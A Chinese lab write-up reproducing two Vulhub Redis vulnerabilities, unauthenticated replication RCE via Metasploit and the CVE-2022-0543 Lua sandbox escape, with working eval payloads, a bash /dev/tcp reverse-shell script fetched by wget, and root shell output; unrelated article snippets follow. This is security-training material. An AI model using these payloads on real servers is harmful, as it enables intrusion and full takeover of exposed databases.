Vulhub:Redis[漏洞复现]

4-unacc(Redis未授权代码执行)

启动漏洞环境

docker-compose up -d

阅读vulhub给出的漏洞文档

cat README.zh-cn.md

# Redis 4.x/5.x 主从复制导致的命令执行

Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力。

Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。

参考链接:

- <https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf>

## 环境搭建

执行如下命令启动redis 4.0.14:

```
docker compose up -d
```

环境启动后,通过`redis-cli -h your-ip`即可进行连接,可见存在未授权访问漏洞。

## 漏洞复现

使用[这个POC](https://github.com/vulhub/redis-rogue-getshell)即可直接执行命令:

![](1.png)

查看靶机IP地址

ifconfig | grep eth0 -A 5

┌──(root㉿kali)-[/home/…/Desktop/vulhub/redis/4-unacc]
└─# ifconfig | grep eth0 -A 5
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.138  netmask 255.255.255.0  broadcast 192.168.1.255
        inet6 fe80::d3f0:b854:e38c:9f58  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:ae:ed:8a  txqueuelen 1000  (Ethernet)
        RX packets 82678  bytes 95911672 (91.4 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0

使用curl访问靶机6379端口

curl -v http://192.168.1.138:6379/ --http0.9

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# curl -v http://192.168.1.138:6379/ --http0.9
*   Trying 192.168.1.138:6379...
* Connected to 192.168.1.138 (192.168.1.138) port 6379
* using HTTP/1.x
> GET / HTTP/1.1
> Host: 192.168.1.138:6379
> User-Agent: curl/8.10.1
> Accept: */*
>
* Request completely sent off
-ERR wrong number of arguments for 'get' command
* shutting down connection #0

使用nmap扫描靶机6379端口获取服务版本

nmap -p6379 -sCV 192.168.1.138

使用redis-cli尝试空密码连接到靶机redis数据库

edis-cli -h 192.168.1.138 -p 6379

连接成功后执行命令"info"可查看数据库与靶机相关信息

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# redis-cli -h 192.168.1.138 -p 6379
192.168.1.138:6379> info
# Server
redis_version:4.0.14
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:3914f9509eb3b682
redis_mode:standalone
os:Linux 6.11.2-amd64 x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:6.3.0
process_id:1
run_id:5effee7489ba583fec7673b53c286dff84554e9f
tcp_port:6379
uptime_in_seconds:7621
uptime_in_days:0
hz:10
lru_clock:6300793
executable:/data/redis-server
config_file:

<...Omitted below...>

由执行的info命令输出可见,数据库版本与nmap扫描结果相同,该Redis版本存在未授权访问漏洞

使用searchsploit搜索redis相关漏洞PoC

searchsploit redis

由输出可见,有关Redis未认证代码执行以及复制代码执行有关的EXP都在MSF中

启动metasploit

msfconsole

检索redis有关exp

search redis type:exploit

使用redis复制代码执行模块

use exploit/linux/redis/redis_replication_cmd_exec

注意,该模块需要配置选项:RHOSTS、RPORT、SRVHOST、SRVPORT、LHOST、LPORT

msf6 exploit(linux/redis/redis_replication_cmd_exec) > set LHOST 192.168.1.138
LHOST => 192.168.1.138
msf6 exploit(linux/redis/redis_replication_cmd_exec) > set SRVPORT 8088
SRVPORT => 8088
msf6 exploit(linux/redis/redis_replication_cmd_exec) > set RHOST 192.168.1.138
RHOST => 192.168.1.138

msf6 exploit(linux/redis/redis_replication_cmd_exec) > set SRVHOST 192.168.1.138
SRVHOST => 192.168.1.138

msf6 exploit(linux/redis/redis_replication_cmd_exec) > run

[*] Started reverse TCP handler on 192.168.1.138:4444
[*] 192.168.1.138:6379    - Compile redis module extension file
[+] 192.168.1.138:6379    - Payload generated successfully!
[*] 192.168.1.138:6379    - Listening on 192.168.1.138:8088
[*] 192.168.1.138:6379    - Rogue server close...
[*] 192.168.1.138:6379    - Sending command to trigger payload.
[*] Sending stage (3045380 bytes) to 172.24.0.2
[*] Meterpreter session 1 opened (192.168.1.138:4444 -> 172.24.0.2:43180) at 2024-12-16 08:15:02 -0500
[!] 192.168.1.138:6379    - This exploit may require manual cleanup of './psfgqzed.so' on the target

meterpreter > getuid
Server username: redis

到了这一步,vulhub中的该漏洞算是完美结束了,看到很多师傅对提权到ROOT用户有疑问,我这里做一下回答:

关于其他帖子中的通过redis命令CONFIG SET dbfilename XXXXX设置系统SSH公钥文件authorized_keys默认位置完全是错误的。因为该漏洞环境中redis服务默认就是使用redis用户搭建启用,因此无法通过ssh-keygen替换或修改id_rsa文件位置提权至ROOT,由于该vulhub漏洞环境中仅仅搭建了redis服务,其他的环境如:python、java、gcc均未安装,甚至连:wget、curl、sudo这些常用命令也并不支持。在该环境中也并不存在有ROOT用户权限文件以及SUID文件,也并不存在ROOT用户搭建的任何其他服务所以也就断绝了通过高权限、SUID文件、服务漏洞提权的可能,因此该漏洞环境压根不存在提权一说。


CVE-2022-0543(Redis沙箱逃逸)

启动漏洞环境

docker-compose up -d

阅读vulhub给出的漏洞文档

cat README.zh-cn.md

# Redis Lua沙盒绕过命令执行(CVE-2022-0543)

Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力。

Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象`package`,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。

参考链接:

- <https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce>
- <https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1005787>

## 漏洞环境

执行如下命令启动一个使用Ubuntu源安装的Redis 5.0.7服务器:

```
docker compose up -d
```

服务启动后,我们可以使用`redis-cli -h your-ip`连接这个redis服务器。

## 漏洞复现

我们借助Lua沙箱中遗留的变量`package`的`loadlib`函数来加载动态链接库`/usr/lib/x86_64-linux-gnu/liblua5.1.so.0`里的导出函数`luaopen_io`。在Lua中执行这个导出函数,即可获得`io`库,再使用其执行命令:

```lua
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("id", "r");
local res = f:read("*a");
f:close();
return res
```

值得注意的是,不同环境下的liblua库路径不同,你需要指定一个正确的路径。在我们Vulhub环境(Ubuntu fiocal)中,这个路径是`/usr/lib/x86_64-linux-gnu/liblua5.1.so.0`。

连接redis,使用`eval`命令执行上述脚本:

```lua
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
```

可见命令已成功执行:

![](1.png)

使用redis-cli通过空密码连接到靶机redis数据库

redis-cli -h 192.168.1.138 -p 6379

连接成功后发送Payload

val 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami;id", "r"); local res = f:read("*a"); f:close(); return res' 0

收到回显:\"root\nuid=0(root) gid=0(root) groups=0(root)\n"

192.168.1.138:6379> eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami;id", "r"); local res = f:read("*a"); f:close(); return res' 0
\"root\nuid=0(root) gid=0(root) groups=0(root)\n"

在攻击机本地新建一个反弹shell脚本

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# cat evil.sh                    
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.138/1425 0>&1

攻击机开启http服务

php -S 0:80

靶机通过沙箱执行wget命令将脚本下载到容器中

┌──(root㉿kali)-[/home/…/Desktop/vulhub/redis/CVE-2022-0543]
└─# redis-cli -h 192.168.1.138 -p 6379
192.168.1.138:6379> eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ls", "r"); local res = f:read("*a"); f:close(); return res' 0
""
192.168.1.138:6379> eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("wget http://192.168.1.138/evil.sh", "r"); local res = f:read("*a"); f:close(); return res' 0
""
192.168.1.138:6379> eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ls", "r"); local res = f:read("*a"); f:close(); return res' 0
"evil.sh\n"

此时http服务器收到请求

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# php -S 0:80
[Mon Dec 16 10:54:11 2024] PHP 8.2.24 Development Server (http://0:80) started
[Mon Dec 16 10:54:27 2024] 172.25.0.2:40542 Accepted
[Mon Dec 16 10:54:27 2024] 172.25.0.2:40542 [200]: GET /evil.sh
[Mon Dec 16 10:54:27 2024] 172.25.0.2:40542 Closing

攻击机通过nc开始监听

rlwrap -cAr nc -lvnp 1425

通过靶机沙箱运行该脚本

192.168.1.138:6379> eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("/bin/bash evil.sh", "r"); local res = f:read("*a"); f:close(); return res' 0

本地侧nc收到回显

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# rlwrap -cAr nc -lvnp 1425
listening on [any] 1425 ...
connect to [192.168.1.138] from (UNKNOWN) [172.25.0.2] 53794
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@4219329dc760:/var/lib/redis# whoami
whoami
root

使用MSF自动化Getshell

msfconsole

msf6 exploit(linux/redis/redis_replication_cmd_exec) > set LHOST 192.168.1.138
LHOST => 192.168.1.138
msf6 exploit(linux/redis/redis_replication_cmd_exec) > set LPORT 1212
LPORT => 1212
msf6 exploit(linux/redis/redis_replication_cmd_exec) > set SRVHOST 192.168.1.138
SRVHOST => 192.168.1.138
msf6 exploit(linux/redis/redis_replication_cmd_exec) > set SRVPORT
SRVPORT => 6379
msf6 exploit(linux/redis/redis_replication_cmd_exec) > set SRVPORT 7878
SRVPORT => 7878
msf6 exploit(linux/redis/redis_replication_cmd_exec) > set RHOSTS 192.168.1.138
RHOSTS => 192.168.1.138
msf6 exploit(linux/redis/redis_replication_cmd_exec) > run

[*] Started reverse TCP handler on 192.168.1.138:1212
[*] 192.168.1.138:6379    - Compile redis module extension file
[+] 192.168.1.138:6379    - Payload generated successfully!
[*] 192.168.1.138:6379    - Listening on 192.168.1.138:7878
[*] 192.168.1.138:6379    - Rogue server close...
[*] 192.168.1.138:6379    - Sending command to trigger payload.
[*] Sending stage (3045380 bytes) to 172.23.0.2
[*] Meterpreter session 1 opened (192.168.1.138:1212 -> 172.23.0.2:52702) at 2024-12-16 10:38:53 -0500
[!] 192.168.1.138:6379    - This exploit may require manual cleanup of './kbfkorde.so' on the target

meterpreter > getuid
Server username: root

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/493232.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

imx6ull qt多页面控制系统(正点原子imx系列驱动开发)

开题答辩完了也考完了四六级&#xff0c;赶紧来更新一下一个月前留下的坑吧 QAQ首先&#xff0c;因为毕业设计需要用到这些知识所以就从网络上找了一个智能车机系统&#xff0c;借鉴了一下大佬的项目思路&#xff0c;缝缝补补一个月终于完成了这一内容。 在这里先感谢从两位大佬…

前端小白学习之路-Vben探索 vite 配置 - 1/50

目的 为ApiHug 寻找一个前端解决方案前端背景知识缺乏整盘操作&#xff1a;前后全栈80% 中小规模项目提效 30% 全员全栈快速构建高度模块化AI Native... 所以 裸学前端高举高打&#xff0c;直接从复杂项目拆解AI 助手高度依赖后端癖严重&#xff0c;高度模块&#xff0c; 结构化…

Docker:Dockerfile(补充四)

这里写目录标题 1. Dockerfile常见指令1.1 DockerFile例子 2. 一些其他命令 1. Dockerfile常见指令 简单的dockerFile文件 FROM openjdk:17LABEL authorleifengyangCOPY app.jar /app.jarEXPOSE 8080ENTRYPOINT ["java","-jar","/app.jar"]# 使…

谷歌浏览器的扩展市场使用指南

谷歌浏览器的扩展市场为用户提供了丰富多样的功能扩展&#xff0c;可以大幅提升浏览体验。本文将为你详细介绍如何使用谷歌浏览器的扩展市场&#xff0c;包括安装、管理和一些推荐的无障碍工具、图标重置方法和便捷操作技巧。&#xff08;本文由https://chrome.py010.cn/的作者…

04、Vue与Ajax

4.1 发送AJAX异步请求的方式 发送AJAX异步请求的常见方式包括&#xff1a; 4.1.1. 原生方式 使用浏览器内置的JS对象XMLHttpRequest const xhr new XMLHttpRequest() xhr.open() xhr.send() xhr.onreadystatechange function(){} 4.1.2. 原生方式 使用浏览器内置的JS函…

网络安全概论——防火墙原理与设计

一、防火墙概述 防火墙是一种装置&#xff0c;它是由软件/硬件设备组合而成&#xff0c;通常处于企业的内部局域网与 Internet 之间&#xff0c;限制 Internet 用户对内部网络的访问以及管理内部用户访问 Internet 的权限。换言之&#xff0c;一个防火墙在一个被认为是安全和可…

南城云趣:智能云平台,杜绝电动车充电安全隐患

电动自行车作为绿色低碳出行的主要方式之一,受到无数市民的推崇,而电动自行车数量的急剧上涨,也严重增加小区管理的负担。记者调查发现,目前电动自行车缺乏有效的管理,使得带车或电瓶上楼充电、乱停乱放、车辆容易被盗等安全问题日益突出,给社区消防安全和管理带来严峻的挑战。…

Linux 文件系统目录结构及其简要介绍

&#x1f44b; 欢迎来到“Linux学习&#xff1a;Linux 文件系统目录结构”篇&#xff01; 接下来让我们一起来学习一下Linux 文件系统目录结构吧&#xff01;祝你有所收获&#xff01; 文章目录 总结表格Linux 文件系统目录结构及其简要介绍补充小资源 小伙伴们都知道&#xff…

【服务器】MyBatis是如何在java中使用并进行分页的?

MyBatis 是一个支持普通 SQL 查询、存储过程和高级映射的持久层框架。它消除了几乎所有的 JDBC 代码和参数的手动设置以及结果集的检索。MyBatis 可以通过简单的 XML 或注解来配置和映射原始类型、接口和 Java 的 POJO&#xff08;Plain Old Java Objects&#xff0c;普通老式 …

Elasticsearch-DSL高级查询操作

一、禁用元数据和过滤数据 1、禁用元数据_source GET product/_search {"_source": false, "query": {"match_all": {}} }查询结果不显示元数据 禁用之前: {"took" : 0,"timed_out" : false,"_shards" : {&quo…

使用 UniApp 在微信小程序中实现 SSE 流式响应

概述 服务端发送事件(Server-Sent Events, SSE)是一种允许服务器向客户端推送实时更新的技术。SSE 提供了一种单向的通信通道,服务器可以持续地向客户端发送数据,而不需要客户端频繁发起请求。这对于需要实时更新的应用场景非常有用。 流式传输的特点是将数据逐步传输给客…

【Tomcat】第六站(最后一站啦!):数据的返回

1. 引言 前端资源比如html页面&#xff0c;进行返回。截止到目前我们写的项目架构不支持前端页面&#xff08;静态资源 &#xff09;。 2. 数据的返回 2.1 准备 为了能够写前端页面&#xff0c;新建一个项目。选择Maven项目&#xff0c;下一步&#xff0c;下一步。 加载完…

electron-vite【实战系列教程】

创建项目 https://blog.csdn.net/weixin_41192489/article/details/144442262 安装必要的插件 UI 库 element-plus npm install element-plus --save安装 element-plus 图标 npm install element-plus/icons-vue安装插件 – 自动注册组件 vs 自动导入框架方法 npm install -…

信号处理相关的东东(学习解惑)

信号处理相关的东东&#xff08;学习解惑&#xff09; 所有内容学习自知乎专栏&#xff0c;https://www.zhihu.com/column/xinhao&#xff0c;写的很好&#xff0c;值得反复学习 时频域分析的一些常用概念 FROM&#xff1a;https://zhuanlan.zhihu.com/p/35742606 1、相加性…

[Python学习日记-73] 面向对象实战1——答题系统

[Python学习日记-73] 面向对象实战1——答题系统 简介 需求模型——5w1h8c 领域模型 设计模型 实现模型 案例&#xff1a;年会答题系统 简介 在学习完面向对象之后你会发现&#xff0c;你还是不会自己做软件做系统&#xff0c;这是非常正常的&#xff0c;这是因为计算机软…

简单工厂模式和策略模式的异同

文章目录 简单工厂模式和策略模式的异同相同点&#xff1a;不同点&#xff1a;目的&#xff1a;结构&#xff1a; C 代码示例简单工厂模式示例&#xff08;以创建图形对象为例&#xff09;策略模式示例&#xff08;以计算价格折扣策略为例&#xff09;UML区别 简单工厂模式和策…

SQL语句整理五-StarRocks

文章目录 查看版本号&#xff1a;SPLIT&#xff1a;insert 和 update 结合 select&#xff1a;报错&#xff1a;1064 - StarRocks planner use long time 3000 ms in memo phase&#xff1a;字段增删改&#xff1a; 查看版本号&#xff1a; select current_version(); current…

中化信息与枫清科技深化合作:共探“AI+”产业新生态

随着数字化转型的浪潮席卷全球&#xff0c;数据已成为推动创新和经济增长的关键力量。为持续深化数据要素价值挖掘与应用实践&#xff0c;推动打造行业交流平台&#xff0c;驱动产业创新共荣&#xff0c;2024 年 12 月 18 日 -19 日&#xff0c;由中国通信标准化协会主办的“20…

CH340系列芯片驱动电路·CH340系列芯片驱动!!!

目录 CH340基础知识 CH340常见类型 CH340引脚功能讲解 CH340驱动电路 CH340系列芯片数据手册 编写不易&#xff0c;仅供学习&#xff0c;请勿搬运&#xff0c;感谢理解 常见元器件驱动电路文章专栏连接 LM7805系列降压芯片驱动电路降压芯片驱动电路详解-CSDN博客 ME62…

进网许可认证、交换路由设备检测项目更新25年1月起

实施时间 2025年1月1日起实施 涉及设备范围 核心路由器、边缘路由器、以太网交换机、三层交换机、宽带网络接入服务器&#xff08;BNAS&#xff09; 新增检测依据 GBT41266-2022网络关键设备安全检测方法交换机设备 GBT41267-2022网络关键设备安全技术要求交换机设备 GB/…